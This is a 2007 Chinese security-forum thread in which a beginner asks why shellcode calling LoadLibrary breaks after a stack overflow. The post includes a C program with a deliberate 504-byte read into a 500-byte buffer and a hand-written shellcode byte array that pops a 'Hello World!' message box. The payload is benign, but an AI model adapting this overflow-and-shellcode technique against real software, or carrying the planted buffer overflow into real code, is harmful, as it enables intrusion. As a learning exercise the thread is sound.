首页
社区
课程
招聘
[旧帖] [求助]关于溢出的一个问题 0.00雪花
发表于: 2007-10-18 10:20 4955

[旧帖] [求助]关于溢出的一个问题 0.00雪花

2007-10-18 10:20
4955
通过栈溢出,然后在shellcode中call了LoadLibrary
发现栈的内容就全变了,由于shellcode也在栈中,
代码没法继续下去了,
请问碰到这样的情况该如何解决,shellcode该如何写啊

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (8)
雪    币: 424
活跃值: (10)
能力值: ( LV9,RANK:850 )
在线值:
发帖
回帖
粉丝
2
在栈中的话,你搞的shellcode是局部变量

一般是个全局变量(我是搞全局变量啦)
#incoude <xxxxx.h>
....
unsigned char shellcode[]={...};
...
xxmain()
{
...
}

具体的不太清楚,'
干脆把程序发上来,调试一下下
2007-10-18 11:13
0
雪    币: 177
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
不好意思,昨天电脑重装,没看到帖子,我的代码如下
OverFlow函数是读入一个文件并故意溢出,
FileWrite函数是写入可溢出的文件,地址是硬编码,不知道是不是每台机子都能运行成功
vc++6 sp6 release 我是新手,刚刚了解溢出还不太懂,希望帮忙看看问题在哪里

void OverFlow()
{
        FILE *f;
        char chBuf[500] = {0};
        f = fopen("test.dat","rb");
        if (!f)
                return;       
        fread(chBuf,504,1,f);
}

void FileWrite()
{
        FILE *f;
        char chSellCode[] = {
                0x68, 0x6C, 0x6C, 0x00, 0x00,
                0x68, 0x33, 0x32, 0x2E, 0x64,
                0x68, 0x75, 0x73, 0x65, 0x72,
                0x68, 0x6F, 0x78, 0x41, 0x00,
                0x68, 0x61, 0x67, 0x65, 0x42,
                0x68, 0x4D, 0x65, 0x73, 0x73,
                0x6A, 0x00,
                0x68, 0x72, 0x6C, 0x64, 0x21,
                0x68, 0x6F, 0x20, 0x57, 0x6F,
                0x68, 0x48, 0x65, 0x6C, 0x6C,
                0x8D, 0x5C, 0x24, 0x1C,
                0x53,
                0xE8, 0xB2, 0x1F, 0x6D, 0x7C,
                0x0B, 0xC0,
                0x75, 0x01,
                0xC3,
                0x8D, 0x5C, 0x24, 0x10,
                0x53,
                0x50,
                0xE8, 0xD6, 0xAF, 0x6D, 0x7C,
                0x0B, 0xC0,
                0x75, 0x01,
                0xC3,
                0x8D, 0x1C, 0x24,
                0x6A, 0x00,
                0x6A, 0x00,
                0x53,
                0x6A, 0x00,
                0xFF, 0xD0               
        };
        int i;
        f = fopen("test.dat","wb");
        fseek(f,0,SEEK_SET);
        for (i = 0; i < sizeof(chSellCode); i++)
                fputc(chSellCode[i],f);
        for (i = 0; i < 500-sizeof(chSellCode); i++)
                fputc(0x90,f);
        fwrite("\x8c\xfd\x12\x00",4,1,f);
        fclose(f);
}

int main(int argc, char* argv[])
{
//        FileWrite();
        OverFlow();
        printf("Hello World!\n");
        return 0;
}
2007-10-19 09:07
0
雪    币: 424
活跃值: (10)
能力值: ( LV9,RANK:850 )
在线值:
发帖
回帖
粉丝
4
和我想的不太一样
Shellcode,刚开始还以为你说的是CreateRemoteThread `呵呵`
硬编码应该不能每台机子都能运行成功
2007-10-19 11:57
0
雪    币: 177
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
呵,CreateRemoteThread是用到注入的吧,我这个测试程序是本身就故意留个溢出漏洞,
我还是打包传一下文件上来吧,希望大侠们可以帮忙用od跟下,指导一下
晕,权限不够不能上传,可以从下面的地址下载
http://www.live-share.com/files/279526/____.rar.html
2007-10-19 17:14
0
雪    币: 215
活跃值: (26)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
这个溢出代码是干什么用的?
晕,我在自己机上跑起来了,但是问题是不知道机器有什么变化,是不是加了一个管理员?
2007-10-19 20:38
0
雪    币: 177
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
不是的,只是弹出来一个messagebox,"hello world!"
没有危害的
2007-10-22 08:54
0
雪    币: 196
活跃值: (96)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
8
把你shellcode的源代码贴出来看看
2007-10-22 13:36
0
雪    币: 424
活跃值: (10)
能力值: ( LV9,RANK:850 )
在线值:
发帖
回帖
粉丝
9
不是已经贴出来了么
2007-10-22 14:04
0
游客
登录 | 注册 方可回帖
返回
//